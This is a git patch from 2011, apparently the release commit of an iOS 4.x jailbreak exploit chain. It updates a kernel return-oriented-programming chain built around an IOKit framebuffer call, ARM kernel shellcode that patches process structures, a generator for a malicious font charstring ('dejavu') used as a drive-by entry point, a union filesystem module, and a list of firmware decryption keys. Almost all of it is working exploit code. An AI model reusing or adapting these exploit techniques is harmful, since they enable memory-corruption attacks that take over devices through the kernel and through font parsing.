From bd67c895e1d77077dfcc9c4feb71f2abd0e71583 Mon Sep 17 00:00:00 2001 From: comex Date: Wed, 6 Jul 2011 02:52:51 -0400 Subject: [PATCH] RELEASE --- catalog/catalog.py | 70 ++++++++++++++++-------- catalog/kcode.S | 24 +++++++- common/common.h | 4 +- config/keyz.txt | 51 +++++++++++++++++ data | 2 +- dejavu/gen_dejavu.raw.py | 26 +++++---- fs/fs.h | 10 +++- fs/union/union_subr.c | 8 +++ fs/union/union_vnops.c | 53 +++++++++++------- goo/goo.py | 21 ++++--- goo/goop.py | 6 +- install/install.m | 26 ++++----- locutus/inject.c | 5 +- locutus/locutus.c | 25 ++++++--- locutus/locutus_server.m | 18 ++++-- make.py | 14 ++--- starstuff/build-archive.sh | 4 +- starstuff/root/boot/union_prelink.dylib | Bin 41172 -> 0 bytes starstuff/root/boot/untether | Bin 8192 -> 0 bytes starstuff/root/boot/white_loader | Bin 34944 -> 0 bytes 20 files changed, 255 insertions(+), 112 deletions(-) delete mode 100644 starstuff/root/boot/union_prelink.dylib delete mode 100755 starstuff/root/boot/untether delete mode 100755 starstuff/root/boot/white_loader diff --git a/catalog/catalog.py b/catalog/catalog.py index 1361206..c7ec809 100644 --- a/catalog/catalog.py +++ b/catalog/catalog.py @@ -20,6 +20,11 @@ mode, device, version, cachefile, kernfile, patchfile, kcode, outfile = sys.argv[1:9] four_dot_three = '4.3' in version +if four_dot_three: + memcpy = '_memcpy$VARIANT$CortexA' + ('9' if device.startswith('iPad2') else '8') +else: + memcpy = '_memcpy' + assert mode in ['dejavu', 'untether'] patchfp = open(patchfile) @@ -29,14 +34,18 @@ def add_lib(conn, short, path): lib_paths.add(path) debugging = True +result_for = None def dbg_result(): + global result_for if debugging: + if result_for is None: + result_for = ptr('Result for %s was %08x\n', True) result, resultp = stackunkpair() store_r0_to(resultp) back = sys._getframe().f_back - funcall('_fprintf', dmini.cur.sym('___stderrp'), ptr('Result for %s:%d was %%08x\n' % (back.f_code.co_filename, back.f_lineno), True), result, load_r0=True) + funcall('_fprintf', dmini.cur.sym('___stderrp'), result_for, ptr('%s:%d' % (back.f_code.co_filename, back.f_lineno), True), result, load_r0=True) dmini.init(kernfile, False) @@ -59,14 +68,10 @@ def dbg_result(): weirdfile = pointed(weirdfile + I(sysent, count) + stuff) def mov_r0_r6(): - set_fwd('PC', dmini.cur.find('+ 30 46 70 bd')) - exhaust_fwd('R4', 'R5', 'R6') - heapadd(fwd('R4'), fwd('R5'), fwd('R6'), fwd('PC')) + gadget(PC='+ 30 46 70 bd', a='R4, R5, R6, PC') def str_r7_sp_856(): - set_fwd('PC', dmini.cur.find('+ d6 97 e9 bd')) - exhaust_fwd('R0', 'R3', 'R5', 'R6', 'R7') - heapadd(fwd('R0'), fwd('R3'), fwd('R5'), fwd('R6'), fwd('R7'), fwd('PC')) + gadget(PC='+ d6 97 e9 bd', a='R0, R3, R5, R6, R7, PC') def seek_kernel_ldm(reg): s = chr(0x90 | reg) + chr(0xe8) @@ -81,16 +86,16 @@ def seek_kernel_ldm(reg): if (i & 3) != 2: continue insn, = struct.unpack('I', data[i-2:i+2]) regs = [b for (n, b) in enumerate(['R0', 'R1', 'R2', 'R3', 'R4', 'R5', 'R6', 'R7', 'R8', 'R9', 'R10', 'R11', 'R12', 'SP', 'LR', 'PC']) if (insn & (1 << n))] - if 'SP' not in regs or 'PC' not in regs: continue - if 'R0' in regs or 'R7' in regs: continue + if 'SP' not in regs or 'PC' not in regs or 'LR' not in regs: continue + if 'R0' in regs or 'R6' in regs or 'R7' in regs: continue # got it return (dmini.cur.nth_segment(seg).start + i - 2, regs) seg += 1 -# 12_41, 31_41, 31_421: R6 -kernel_ldm, kernel_ldm_regs = seek_kernel_ldm(11 if four_dot_three else 6) +# 12_41, 31_41, 31_421: R6, no I lied +kernel_ldm, kernel_ldm_regs = seek_kernel_ldm(11 if four_dot_three else 2) #kernel_ldm = 0xdeadbeef init(*kernel_ldm_regs) @@ -100,6 +105,12 @@ def seek_kernel_ldm(reg): m = pointed('') set_fwd('SP', pointer(m)) heapadd(m) + +# mov pc, r9 +set_fwd('PC', dmini.cur.find('- 1e ff 2f e1 1e ff 2f e1')) +goo.fwds['PC'] = goo.fwds['LR'] +del goo.fwds['LR'] + mov_r0_r6() store_r0_to(obj) str_r7_sp_856() @@ -111,8 +122,8 @@ def seek_kernel_ldm(reg): set_fwd('PC', code_addr) -kstuff = finalize(None, must_be_simple=False, should_heapdump=False) -kstuff += '\0'*(856 + 0x38 + 4 - len(kstuff)) # xxx offset +kstuff = finalize(None, must_be_simple=False, should_heapdump=True); +kstuff.append('\0'*1024) def set_cache(cachefile): conn = dmini.Connection(cachefile, True) @@ -159,10 +170,18 @@ def do_main_thing(): funcall('_mach_task_self') store_r0_to(task_self_p) - set_r0_to(kstuffp); dbg_result() + if not four_dot_three: + funcall(memcpy, kstuffp, real_kstuffp, fake_kstuff_len) + + #funcall(memcpy, kstuffp, ptrI(0xdeadbeef, pointer(m), 0, 0, 0, 0, 0, 0x80002000, 0xdeadbeef, 0xdeadbee0), fake_kstuff_len) + + if debugging: + set_r0_to(kstuffp); dbg_result() # The manpage says this returns EINVAL, but in fact the kernel handles it. - funcall('_mlock', kstuffp, len(kstuff)); dbg_result() + funcall('_mlock', kstuffp, len(kstuff) if four_dot_three else (16 + fake_kstuff_len + len(kstuff))); dbg_result() + + #funcall('_fprintf', dmini.cur.sym('___stderrp'), ptr('Opening %s\n', True), AppleRGBOUT, load_r0=True) funcall('iokit._IOServiceMatching', AppleRGBOUT) store_r0_to(matchingp) @@ -172,7 +191,6 @@ def do_main_thing(): funcall('iokit._IOServiceOpen', None, task_self, 0, connect); dbg_result() else: # http://www.opensource.apple.com/source/IOKitUser/IOKitUser-502/FireWireTest.cpp?txt - #itp = ptrI(0) # XXX this is just for testing portp = ptrI(0) funcall('_mach_task_self') funcall('_mach_port_allocate', None, 1, portp); dbg_result() @@ -205,8 +223,6 @@ def do_main_thing(): funcall('iokit._IOConnectCallStructMethod', connect, 5, transactionp, len(transaction), 0, 0, load_r0=True); dbg_result() #funcall('_sleep', 1000) - #dbg_result(); funcall('_abort') - # do some housekeeping # (but don't bother if we're going to exec) @@ -241,20 +257,26 @@ def do_main_thing(): elif mode == 'dejavu': init('R4', 'R5', 'PC') -kstuffp = ptr(kstuff + '\0'*32) +if four_dot_three: + kstuffp = ptr(kstuff) +else: + fake_kstuff_len = 4 * len(kernel_ldm_regs) + kstuffp = ptr('\0' * fake_kstuff_len, align=8, align_offset=6) + real_kstuffp = ptr(kstuff) zerop = ptrI(0) -AppleRGBOUT = ptr('AppleM2TVOut' if device in ['iPhone2,1', 'iPod3,1'] else 'AppleRGBOUT', True) +AppleRGBOUT = ptr('AppleM2CLCD' if device in ['iPhone2,1', 'iPod3,1'] else 'AppleRGBOUT', True) # if four_dot_three else 'AppleCLCD', True) connect = ptrI(0) fail_callback = ptrI(dmini.cur.sym('_getpid'), 0xeeeeeeee) transaction = troll_string('\x00' * (0xd8 if four_dot_three else 0x8c)) transaction[0:4] = transaction[4:8] = I(0xeeeeeeee) -transaction[8:0xc] = I(kstuffp) # surface saved in r11 transaction[0x58:0x5c] = I(kernel_ldm) if four_dot_three: transaction[0xb8:0xbc] = I(6) # run iterations 1 and 2 (first loop bails at 1) + transaction[8:0xc] = I(kstuffp) # surface saved in r11 else: - transaction[0x70:0x74] = I(6) + transaction[0x70:0x74] = I(kstuffp) # overlapping the address and "6" + transaction[8:0xc] = I(0xdeadbeef) # no idea transaction = simplify(transaction) transactionp = ptr(transaction) if mode == 'dejavu': @@ -291,6 +313,6 @@ def do_main_thing(): init_sp = 0x10031000 address = 0x8000 - final = finalize(address) - #heapdump(final) + final = finalize(address, should_heapdump=True) open(outfile, 'w').write(pickle.dumps({'segment': final, 'initializer': initializer, 'init_sp': init_sp, 'rop_address': address, 'libs': lib_paths, 'dylib': False})) + diff --git a/catalog/kcode.S b/catalog/kcode.S index d24b4b2..91eb45c 100644 --- a/catalog/kcode.S +++ b/catalog/kcode.S @@ -8,14 +8,26 @@ .arm start: # xxx offset - ldr sp, [sp, #(856 + 0x38 - 0x98)] + ldr sp, [sp, #(856 + 0x40 - 0xa0)] sub sp, #0x18 +#if 0 + mov r5, sp; mov sp, #0x80000000; orr sp, #0x2000; mov pc, #-1 +#endif + +#if VERSION >= 0x040206 && VERSION < 0x040300 + ldr r6, [sp, #(0x3c - 0x30 - 0x24)] +#else ldr r6, [r4] +#endif adr r0, inspiring bl _IOLog + #mov r0, #105 + #mov r1, #9 + #blx _proc_signal + #mov r8, #0; b end adr r5, stuff @@ -42,6 +54,14 @@ end: str r8, [r6, #c(0x238, 0x19c)] str r8, [r6, #c(0x2d4, 0x238)] # fix up linked lists +#if 0 && (VERSION < 0x040300) + add r0, r6, #0x170 + str r0, [r6, #0x170] + str r0, [r6, #0x174] + add r0, r6, #0x178 + str r0, [r6, #0x178] + str r0, [r6, #0x17c] +#endif add r0, r6, #c(0x218, 0x180) str r0, [r6, #c(0x21c, 0x184)] add r0, r6, #c(0x220, 0x188) @@ -79,7 +99,7 @@ syscall_0: mov r1, #0 str r1, [r0, #0xc] str r1, [r0, #0x10] - ldr r0, [r0, #0x6c] + ldr r0, [r0, #c(0x6c, 0x80)] cmp r0, #0 strne r1, [r0, #8] #endif diff --git a/common/common.h b/common/common.h index e3cf255..309923d 100644 --- a/common/common.h +++ b/common/common.h @@ -38,9 +38,9 @@ static void _assert_zero_helper(const char name[], const char *arg, unsigned int #endif #ifdef PROFILING -#define TIME(thing) do { uint64_t _ta = time_ms(); thing; uint64_t _tb = time_ms(); _logI("[%.4ld ms] %s", (long int) (_tb - _ta), #thing); } while(0) +#define TIME(thing...) do { uint64_t _ta = time_ms(); thing; uint64_t _tb = time_ms(); _logI("[%.4ld ms] %s", (long int) (_tb - _ta), #thing); } while(0) #else -#define TIME(thing) thing +#define TIME(thing...) do { thing; } while(0) #endif static inline uint64_t time_ms() { diff --git a/config/keyz.txt b/config/keyz.txt index 80bac63..d47304e 100644 --- a/config/keyz.txt +++ b/config/keyz.txt @@ -492,3 +492,54 @@ iPhone3,1_4.3.3_8J2.iBSS: 8ef00005aa2c01ae409d55e330171589af79d76ac86639e7600383 iPhone3,1_4.3.3_8J2.iBEC: 54800715047034f61f786642e9caea65723ff410495dc68e7125c0519add859b e9467d0a0d35b1f2bcec6d0a60d0b499 iPhone3,1_4.3.3_8J2.KernelCache: 65c351330f824889fe25b14e2d0cb5e291991a749f13761b825a70f317f005aa 301c0db0f6fc3a92c34f34b2dff5d92f +iPhone3,3_4.2.6_8E200.fs: 723ded674deb1cba56a142542a0b06d2a483297f8056c0cfa70346c0724e1b0e03feded6 +iPhone3,3_4.2.6_8E200.AppleLogo: a777e9efde7fdcc159e326b52894ffc9bdceaf76f12ee35217184760231cebbf 090a5cd25ad4e1259a24463ff05882bd +iPhone3,3_4.2.6_8E200.BatteryCharging0: f0c7d1bf7323fae1b5121a48fee51648508a756933b089464f3aec342f19b324 16ade54c2088416f30d6ee2fe562fac3 +iPhone3,3_4.2.6_8E200.BatteryCharging1: bf7f1e7b7c20037b7f46344f39aee9aa0bc44915f2d969fe2fd0f468d8ba4639 f8f2eaa2cd78fac06045d881c4d94c3b +iPhone3,3_4.2.6_8E200.BatteryFull: 436a0f35c5c020cf1a437a71ab4105a1e1cd13a08efe662ac87581d958e7a3ae 0c8416323bc33d2c578317cbc47cb1f3 +iPhone3,3_4.2.6_8E200.BatteryLow0: ff6a8aed51d7c687511d889f4b8dd39998e5cf3356271b5f75a983da4f383130 8ac48fe62a5cf7aba360985f71efaf03 +iPhone3,3_4.2.6_8E200.BatteryLow1: ef5248f463a0aae857acd29c63c450dd89a0c72d24cb80aacdf41344486875ad b5b8f816ba6c6b082c3ef23be1cf64c7 +iPhone3,3_4.2.6_8E200.DeviceTree: 33a34c5c90ba84db1eca20732378763678613475fe5a97531be7778b31185715 a997bc9a73be2c03c8527678cb62f0cc +iPhone3,3_4.2.6_8E200.GlyphCharging: 39c4f58aacb8f2a46ee43822befbc083313c2aa44bf7afc4d204d5d5aac6be2e 4cefae53fea79f566b70cbc5964a977e +iPhone3,3_4.2.6_8E200.GlyphPlugin: 28b7fcbd208ee5e46c7cf6838e4adb2256c91bd14938e3e317ab498b6e3b734e 6c6a35d4fea31bfe42039bab90562741 +iPhone3,3_4.2.6_8E200.iBEC: 9ef23dcdd8b6aa7e5629b21afa61509db4e3b144f1aef1fb9d3da3b1393695d6 3f8fcb789a234cab016256e7e664867c +iPhone3,3_4.2.6_8E200.iBoot: acfb0f3c3c91a85721ee2d2951b5136e7a515cafd4549a37895fa51766887a37 ffe94b9f698a62c603bddf122cf25aa4 +iPhone3,3_4.2.6_8E200.iBSS: cabd9afa6d7678f3f95d0ccf43d18f54e4ee2e6ac8025b2a528f3b07579ec305 6863087c07128d170db61316205c5a45 +iPhone3,3_4.2.6_8E200.KernelCache: c31ace63b79048c5e1071201e07f8a6f23444e5062d57397a3b3d84ae68dc008 eef93c11b4795bb4b34ffb1cdd63713a +iPhone3,3_4.2.6_8E200.LLB: 91579610b792e3ac351b8b5abcfb9933b19825b3a69de8799a6f93d23cfd428b 69eac0a77661d8e3e7793f6e19b9ebaa +iPhone3,3_4.2.6_8E200.RecoveryMode: 041ca7e51df14d14ffccec2f211437ed270b180d3d5b861c0a45f16cde59e79c 34eb95de77b4ba1f9e3d0929b59cfbe1 + +iPhone3,3_4.2.7_8E303.fs: 612f78042ddc5337ab1abecfb59a07e88ed3e80665a035ef02c3c48045057fc29ab0a4b5 +iPhone3,3_4.2.7_8E303.AppleLogo: a777e9efde7fdcc159e326b52894ffc9bdceaf76f12ee35217184760231cebbf 090a5cd25ad4e1259a24463ff05882bd +iPhone3,3_4.2.7_8E303.BatteryCharging0: f0c7d1bf7323fae1b5121a48fee51648508a756933b089464f3aec342f19b324 16ade54c2088416f30d6ee2fe562fac3 +iPhone3,3_4.2.7_8E303.BatteryCharging1: bf7f1e7b7c20037b7f46344f39aee9aa0bc44915f2d969fe2fd0f468d8ba4639 f8f2eaa2cd78fac06045d881c4d94c3b +iPhone3,3_4.2.7_8E303.BatteryFull: 436a0f35c5c020cf1a437a71ab4105a1e1cd13a08efe662ac87581d958e7a3ae 0c8416323bc33d2c578317cbc47cb1f3 +iPhone3,3_4.2.7_8E303.BatteryLow0: ff6a8aed51d7c687511d889f4b8dd39998e5cf3356271b5f75a983da4f383130 8ac48fe62a5cf7aba360985f71efaf03 +iPhone3,3_4.2.7_8E303.BatteryLow1: ef5248f463a0aae857acd29c63c450dd89a0c72d24cb80aacdf41344486875ad b5b8f816ba6c6b082c3ef23be1cf64c7 +iPhone3,3_4.2.7_8E303.DeviceTree: 33a34c5c90ba84db1eca20732378763678613475fe5a97531be7778b31185715 a997bc9a73be2c03c8527678cb62f0cc +iPhone3,3_4.2.7_8E303.GlyphCharging: 39c4f58aacb8f2a46ee43822befbc083313c2aa44bf7afc4d204d5d5aac6be2e 4cefae53fea79f566b70cbc5964a977e +iPhone3,3_4.2.7_8E303.GlyphPlugin: 28b7fcbd208ee5e46c7cf6838e4adb2256c91bd14938e3e317ab498b6e3b734e 6c6a35d4fea31bfe42039bab90562741 +iPhone3,3_4.2.7_8E303.iBEC: 9ef23dcdd8b6aa7e5629b21afa61509db4e3b144f1aef1fb9d3da3b1393695d6 3f8fcb789a234cab016256e7e664867c +iPhone3,3_4.2.7_8E303.iBoot: acfb0f3c3c91a85721ee2d2951b5136e7a515cafd4549a37895fa51766887a37 ffe94b9f698a62c603bddf122cf25aa4 +iPhone3,3_4.2.7_8E303.iBSS: cabd9afa6d7678f3f95d0ccf43d18f54e4ee2e6ac8025b2a528f3b07579ec305 6863087c07128d170db61316205c5a45 +iPhone3,3_4.2.7_8E303.KernelCache: b953f74572156c933368875730f4d97ac09ba66d17dbcf1ef169894d35ceff61 72032759def5211d217f26473d668430 +iPhone3,3_4.2.7_8E303.LLB: 91579610b792e3ac351b8b5abcfb9933b19825b3a69de8799a6f93d23cfd428b 69eac0a77661d8e3e7793f6e19b9ebaa +iPhone3,3_4.2.7_8E303.RecoveryMode: 041ca7e51df14d14ffccec2f211437ed270b180d3d5b861c0a45f16cde59e79c 34eb95de77b4ba1f9e3d0929b59cfbe1 + +iPhone3,3_4.2.8_8E401.fs: d8e162215f27c016ed8d1849c6059f99984c766c72cec4a1df63724491c8e5b19c0e6fb2 +iPhone3,3_4.2.8_8E401.AppleLogo: a777e9efde7fdcc159e326b52894ffc9bdceaf76f12ee35217184760231cebbf 090a5cd25ad4e1259a24463ff05882bd +iPhone3,3_4.2.8_8E401.BatteryCharging0: f0c7d1bf7323fae1b5121a48fee51648508a756933b089464f3aec342f19b324 16ade54c2088416f30d6ee2fe562fac3 +iPhone3,3_4.2.8_8E401.BatteryCharging1: bf7f1e7b7c20037b7f46344f39aee9aa0bc44915f2d969fe2fd0f468d8ba4639 f8f2eaa2cd78fac06045d881c4d94c3b +iPhone3,3_4.2.8_8E401.BatteryFull: 436a0f35c5c020cf1a437a71ab4105a1e1cd13a08efe662ac87581d958e7a3ae 0c8416323bc33d2c578317cb47cb1f3 +iPhone3,3_4.2.8_8E401.BatteryLow0: ff6a8aed51d7c687511d889f4b8dd39998e5cf3356271b5f75a983da4f383130 8ac48fe62a5cf7aba360985f71efaf03 +iPhone3,3_4.2.8_8E401.BatteryLow1: ef5248f463a0aae857acd29c63c450dd89a0c72d24cb80aacdf41344486875ad b5b8f816ba6c6b082c3ef23be1cf64c7 +iPhone3,3_4.2.8_8E401.DeviceTree: 33a34c5c90ba84db1eca20732378763678613475fe5a97531be7778b31185715 a997bc9a73be2c03c8527678cb62f0cc +iPhone3,3_4.2.8_8E401.GlyphCharging: +iPhone3,3_4.2.8_8E401.GlyphPlugin: 28b7fcbd208ee5e467cf6838e4adb2256c91bd14938e3e317ab498b6e3b734e 6c6a35d4fea31bfe42039bab90562741 +iPhone3,3_4.2.8_8E401.iBEC: 9ef23dcdd8b6aa7e5629b21afa61509db4e3b144f1aef1fb9d3da3b1393695d6 3f8fcb789a234cab016256e7e664867c +iPhone3,3_4.2.8_8E401.iBoot: acfb0f3c3c91a85721ee2d2951b5136e7a515cafd4549a37895fa51766887a37 ffe94b9f698a62c603bddf122cf25aa4 +iPhone3,3_4.2.8_8E401.iBSS: cabd9afa6d7678f3f95d0ccf43d18f54e4ee2e6ac8025b2a528f3b07579ec305 6863087c07128d170db61316205c5a45 +iPhone3,3_4.2.8_8E401.KernelCache: 21dc139511829abfb346d78f9c1c17d50bff33716e7619fee8338b99025ffa3e 851c4efdb0db569f39549e5a13e0784a +iPhone3,3_4.2.8_8E401.LLB: 91579610b792e3ac351b8b5abcfb9933b19825b3a69de799a6f93d23cfd428b 69eac0a77661d8e3e7793f6e19b9ebaa +iPhone3,3_4.2.8_8E401.RecoveryMode: 041ca7e51df14d14ffccec2f211437ed270b180d3d5b861c0a45f16cde59e79c 34eb95de77b4ba1f9e3d0929b59cfbe1 + diff --git a/data b/data index bbe6272..be67f52 160000 --- a/data +++ b/data @@ -1 +1 @@ -Subproject commit bbe627215be78161abef59253dff3f12f21cecfa +Subproject commit be67f52507d9607e4353d1d91d379eec1a8ea347 diff --git a/dejavu/gen_dejavu.raw.py b/dejavu/gen_dejavu.raw.py index 8364d0e..8c91eb0 100644 --- a/dejavu/gen_dejavu.raw.py +++ b/dejavu/gen_dejavu.raw.py @@ -124,7 +124,7 @@ def encode_unknown(s): diffs_seen = set() for data in sorted(stuff, key=lambda d: d['personality'] - d['actual_parse_callback']): - diff = data['personality'] - data['actual_parse_callback'] + diff = data['personality'] - data['actual_parse_callback'] - 1 if diff in diffs_seen: raise Exception('duplicate') diffs_seen.add(diff) @@ -132,7 +132,7 @@ def encode_unknown(s): assert data['parse_callback'] > 32000 assert data['actual_parse_callback'] > 32000 - le_chain += str(subrno) + ' 1 1 25 callothersubr ' + xrepr_plus_small(diff, False, [4, 27]) + ' callothersubr\n' + le_chain += str(subrno) + ' 4 1 25 callothersubr ' + xrepr_plus_small(diff, False, [4, 27]) + ' callothersubr\n' subr = '''1 1 25 callothersubr % get parse_callback {actual_pc} 2 21 callothersubr % subtract the real one @@ -203,7 +203,7 @@ def encode_unknown(s): 0 0 0 3 0 callothersubr 2 2 24 callothersubr % buildchar -> bca[2] - -150 42 callothersubr % back up to 398 get gxx_personality_sj0 + -152 42 callothersubr % back up to 398 get gxx_personality_sj0 setcurrentpoint hstem3 hstem3 hstem3 hstem3 @@ -213,9 +213,19 @@ def encode_unknown(s): hstem3 hstem3 hstem3 hstem3 hstem3 hstem3 hstem3 hstem3 - 252 42 callothersubr % this had better get us to 20 (or actually 0!) down when it does 31000 stuff + %252 42 callothersubr % this had better get us to 20 (or actually 0!) down when it does 31000 stuff + + 0 12 callothersubr % actually, enforce that we're at 0 31000 3 2 24 callothersubr % idx = 31000 + + 1 1 25 callothersubr % first + 1 1 25 callothersubr % second + 2 div % / 2 + 2 2 22 callothersubr % * 2 + 2 21 callothersubr % x - ((x / 2) * 2) + 2 2 20 callothersubr % + 2, so it's 1 or 2 + callsubr 3 callsubr % flex again 0 0 0 3 0 callothersubr % personality @@ -224,14 +234,6 @@ def encode_unknown(s): 4 2 24 callothersubr % store to 4 hmoveto % ignore x - 1 1 25 callothersubr % first - 1 1 25 callothersubr % second - 2 div % / 2 - 2 2 22 callothersubr % * 2 - 2 21 callothersubr % x - ((x / 2) * 2) - callsubr - - {le_chain} diff --git a/fs/fs.h b/fs/fs.h index 23287df..d8464b8 100644 --- a/fs/fs.h +++ b/fs/fs.h @@ -17,7 +17,11 @@ uio_t x_uio_createwithbuffer(int a_iovcount, off_t a_offset, int a_spacetype, in void x_vnode_reclaim_internal(struct vnode * vp, int locked, int reuse, int flags) asm("$bl3__vnode_recycle"); #define vnode_reclaim_internal x_vnode_reclaim_internal -errno_t x_vn_create(vnode_t, vnode_t *, struct nameidata *, struct vnode_attr *, int flags, int mode, int unk, vfs_context_t) +#if VERSION >= 0x040300 +errno_t x_vn_create(vnode_t dvp, vnode_t *vpp, struct nameidata *ndp, struct vnode_attr *vap, int flags, int mode, int unk, vfs_context_t ctx) +#else +errno_t x_vn_create(vnode_t dvp, vnode_t *vpp, struct componentname *cnp, struct vnode_attr *vap, int flags, vfs_context_t ctx) +#endif asm("$strref_22_76_6e_6f_64_65_5f_63_72_65_61_74_65_3a_20_75_6e_6b_6e_6f_77_6e_20_76_74_79_70_65_20_25_64"); // '"vnode_create: unknown vtype %d' #define vn_create x_vn_create @@ -173,7 +177,9 @@ asm("$ldr_$_T_df_f8_fc_31_1b_68_6b_b1"); #endif extern void IOLog(const char *fmt, ...) __attribute__((format (printf, 1, 2))); -#if !DEBUG_PRINTF +#if DEBUG_PRINTF +#define printf IOLog +#else #define printf(args...) ((void) (args)) #endif diff --git a/fs/union/union_subr.c b/fs/union/union_subr.c index bc0d3cf..999690e 100644 --- a/fs/union/union_subr.c +++ b/fs/union/union_subr.c @@ -1046,7 +1046,11 @@ union_mkshadow(um, dvp, cnp, vat, vpp) VATTR_SET(&va, va_change_time, vat->va_change_time); //VATTR_SET(&va, va_backup_time, vat->va_backup_time); +#if VERSION >= 0x040300 error = vn_create(dvp, vpp, CNTOND(&cn), &va, 0, 0, 0, cnp->cn_context); +#else + error = vn_create(dvp, vpp, &cn, &va, 0, cnp->cn_context); +#endif out: if ((cn.cn_flags & HASBUF) == HASBUF) { FREE_ZONE(cn.cn_pnbuf, cn.cn_pnlen, M_NAMEI); @@ -1200,7 +1204,11 @@ union_vn_create(struct vnode **vpp, struct union_node *un, mode_t cmode, vfs_con VATTR_SET(vap, va_type, VREG); VATTR_SET(vap, va_mode, cmode); +#if VERSION >= 0x040300 if ((error = vn_create(un->un_dirvp, &vp, CNTOND(&cn), vap, 0, 0, 0, context)) != 0) { +#else + if ((error = vn_create(un->un_dirvp, &vp, &cn, vap, 0, context)) != 0) { +#endif goto out; } diff --git a/fs/union/union_vnops.c b/fs/union/union_vnops.c index cf30b99..4844acc 100644 --- a/fs/union/union_vnops.c +++ b/fs/union/union_vnops.c @@ -230,8 +230,16 @@ union_lookup(struct vnop_lookup_args *ap) uppervp = NULLVP; lowervp = NULLVP; printf("in: %p RC=%d / %d\n", dun->un_uppervp, dun->un_uppervp ? dun->un_uppervp->v_iocount : -1, uppervp ? uppervp->v_iocount : -1); + + char slash = cnp->cn_nameptr[cnp->cn_namelen] != 0; - printf("looking up %s lp=%d wp=%d nameiop=%d upperdvp=%p lowerdvp=%p\n", cnp->cn_nameptr, old_flags & LOCKPARENT, old_flags & WANTPARENT, cnp->cn_nameiop, upperdvp, lowerdvp); + const char *nameiop = "?"; + switch(cnp->cn_nameiop) { + #define A(x) case x: nameiop = #x; break; + A(LOOKUP) A(CREATE) A(DELETE) A(RENAME) + #undef A + } + printf("looking up %s(%d) lp=%d wp=%d nameiop=%s upperdvp=%p lowerdvp=%p slash=%d\n", cnp->cn_nameptr, (int) cnp->cn_namelen, old_flags & LOCKPARENT, old_flags & WANTPARENT, nameiop, upperdvp, lowerdvp, (int) slash); union_unlock(); @@ -247,24 +255,16 @@ union_lookup(struct vnop_lookup_args *ap) * on and just return that vnode. */ if(um->um_uppervp != NULLVP && upperdvp != NULLVP) { - printf("lin: %p RC=%d\n", upperdvp, upperdvp ? upperdvp->v_iocount : -1); uerror = union_lookup1(um->um_uppervp, &upperdvp, &uppervp, cnp); - printf("lout: %p RC=%d\n", upperdvp, upperdvp ? upperdvp->v_iocount : -1); - if (cnp->cn_consume != 0) { + if(cnp->cn_consume != 0 || (!uerror && !vnode_isdir(uppervp))) { vnode_get(*ap->a_vpp = uppervp); error = uerror; goto out; } - if(!uerror && !vnode_isdir(uppervp)) { - vnode_get(*ap->a_vpp = uppervp); - error = uerror; - goto out; - } - - if(uerror && uerror != ENOENT) { + if(uerror && uerror != ENOENT && uerror != EJUSTRETURN) { error = uerror; goto out; } @@ -284,13 +284,13 @@ union_lookup(struct vnop_lookup_args *ap) lerror = union_lookup1(um->um_lowervp, &lowerdvp, &lowervp, cnp); - if (cnp->cn_consume != 0 || (!lerror && !vnode_isdir(lowervp))) { + if(cnp->cn_consume != 0 || (!lerror && !vnode_isdir(lowervp))) { vnode_get(*ap->a_vpp = lowervp); error = lerror; goto out; } - if(lerror && lerror != ENOENT) { + if(lerror && lerror != ENOENT && lerror != EJUSTRETURN) { error = lerror; goto out; } @@ -324,7 +324,11 @@ union_lookup(struct vnop_lookup_args *ap) /* case 1. */ if ((uerror != 0) && (lerror != 0)) { - error = uerror; + if(lerror == EJUSTRETURN || uerror == EJUSTRETURN) { + error = EJUSTRETURN; + } else { + error = uerror == ENOENT ? lerror : uerror; + } goto out; } @@ -377,18 +381,18 @@ union_lookup(struct vnop_lookup_args *ap) cnp->cn_flags = (cnp->cn_flags & ~(LOCKPARENT | WANTPARENT)) | old_flags; - if(*ap->a_vpp && cnp->cn_nameiop == DELETE) { - *CHUD(current_thread()) = !vnode_isdir(*ap->a_vpp); + if(cnp->cn_nameiop == DELETE) { + *CHUD(current_thread()) = *ap->a_vpp != NULLVP && !vnode_isdir(*ap->a_vpp); } // sigh - if(((error == EJUSTRETURN && cnp->cn_nameiop == RENAME) ? + if(!slash && + ((error == EJUSTRETURN && cnp->cn_nameiop == RENAME) ? *CHUD(current_thread()) : !((uppervp != NULLVP && vnode_isdir(uppervp)) || - (lowervp != NULLVP && vnode_isdir(lowervp)))) && + (lowervp != NULLVP && vnode_isdir(lowervp)))) && (cnp->cn_nameiop == CREATE || - cnp->cn_nameiop == RENAME || - 0/*cnp->cn_nameiop == DELETE*/) && + cnp->cn_nameiop == RENAME) && (error == 0 || error == EJUSTRETURN)) { printf("mega hack %p %p %p\n", ap->a_vpp[1], upper(ap->a_vpp[1]), lower(ap->a_vpp[1])); @@ -402,6 +406,11 @@ union_lookup(struct vnop_lookup_args *ap) vnode_get(ap->a_vpp[1] = newvp); vnode_put(ovp); if(locked) vnode_lock(newvp); + if(cnp->cn_nameiop == RENAME && *ap->a_vpp != NULLVP && newvp->v_mount != (*ap->a_vpp)->v_mount) { + vnode_put(*ap->a_vpp); + *ap->a_vpp = NULLVP; + if(error == 0) error = EJUSTRETURN; + } } } } @@ -427,6 +436,8 @@ union_create(struct vnop_create_args *ap) struct vnode *dvp = upper_or_lower(ap->a_dvp); struct componentname *cnp = ap->a_cnp; + printf("union_create %p %s\n", dvp, cnp->cn_nameptr); + if (dvp != NULLVP) { int error; struct vnode *vp; @@ -441,7 +452,7 @@ union_create(struct vnop_create_args *ap) return (error); /* if this is faulting filesystem and is a reg file, skip allocation of union node */ - if (UNNODE_FAULTIN(un) && (vp != NULLVP) && ((vnode_isreg(vp) != 0)|| (vnode_islnk(vp) != 0))) { + if(vp != NULLVP && !vnode_isdir(vp)) { *ap->a_vpp = vp; return(0); } diff --git a/goo/goo.py b/goo/goo.py index fd7b045..61f0911 100644 --- a/goo/goo.py +++ b/goo/goo.py @@ -28,13 +28,20 @@ def simplify(self, addr): def __repr__(self): return '' % self.name -def heapadd(*stuff): +def heapadds(heap, str, align=None, align_offset=0): + if align is not None: # max 16 in saffron + heap.append('\0' * (-(len(heap) - align_offset) & (align - 1))) + result = pointed(str) + heap.append(result) + return result + +def heapadd(*stuff, **kwargs): global heap #heap.dbginfo.append((len(heap), getdebugname())) # so we know where we came from heap.bits.append(debug_marker(getdebugname())) for a in stuff: assert not isinstance(a, (troll_string, str)) or len(a) % 4 == 0 - heap.append(I(a)) + heapadds(heap, I(a), **kwargs) def xrepr(a): if isinstance(a, (int, long)): @@ -69,13 +76,11 @@ def heapdump(heap, names=None): sys.stdout.write('\n') 